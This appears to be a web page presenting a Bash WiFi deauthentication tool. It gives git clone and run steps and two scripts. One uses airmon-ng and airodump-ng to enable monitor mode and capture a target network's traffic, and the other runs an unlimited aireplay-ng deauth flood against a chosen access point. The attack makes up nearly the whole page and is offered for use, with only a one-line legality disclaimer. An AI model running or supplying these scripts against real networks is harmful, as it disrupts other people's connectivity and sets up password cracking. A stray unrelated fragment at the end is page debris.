WiFi Deauthentication Script

Perform WiFi deauthentication attacks with this simple Bash script designed to send deauthentication packets to a target access point or client, disrupting their ability to connect to the WiFi network.

Features

Deauthenticate clients or access points from a WiFi network.
User-friendly interface for specifying target MAC addresses.
Customizable deauthentication packet parameters for more precise attacks.

Requirements

-To enable moniter-mode you'll need wifi adapter Click Here (opens in a new tab)

Getting Started

To use the script, follow these steps:

git clone https://github.com/ShreyashWanjari/Auto-Deauth.git
cd wifi-deauth-script
chmod +x deauth.sh
./deauth.sh

AutocrackV2.sh

#!/bin/bash
 
echo "Welcome to AutoCrack: Disclaimer - Unethical use of scripts without permissions is illegal."
echo "Do you want to continue?"
echo "Type 'Y' for Yes or 'N' for No:"
read var
 
if [[ $var == "Y" || $var == "y" ]]; then
    echo "Continuing..."
    
    # Ask for the user's password to enable necessary commands
    echo "To proceed further, we need to enable certain commands. Please enter your password if prompted."
    sudo echo "Password authenticated."
    
    # Kill any interfering processes and set up monitor mode
    sudo airmon-ng check kill
    sudo airmon-ng start wlan0
 
    # Display current network interfaces and check if monitor mode is enabled
    echo "Current network interfaces:"
    iwconfig
 
    echo "Monitor mode enabled:"
    iwconfig
 
    # Scan for available WiFi networks
    sudo airodump-ng wlan0
 
    # Prompt the user for the target network's ESSID and channel
    echo "Please enter the ESSID of the target network:"
    read ESSID
    echo "Please enter the channel used by $ESSID:"
    read Channel
 
    # Begin monitoring the target network's traffic
    sudo airodump-ng -w hack1 -c $Channel --bssid $ESSID wlan0
 
else
    echo "Exiting."
fi

AutocrackV2_Deauther.sh

 
echo "PASTE YOUR PREVIOUS BSSID :  "
read ESSID2
 
sudo aireplay-ng --deauth 0 -a $ESSID2 wlan0

Unix Deauther 1143. Longest Common Subsequence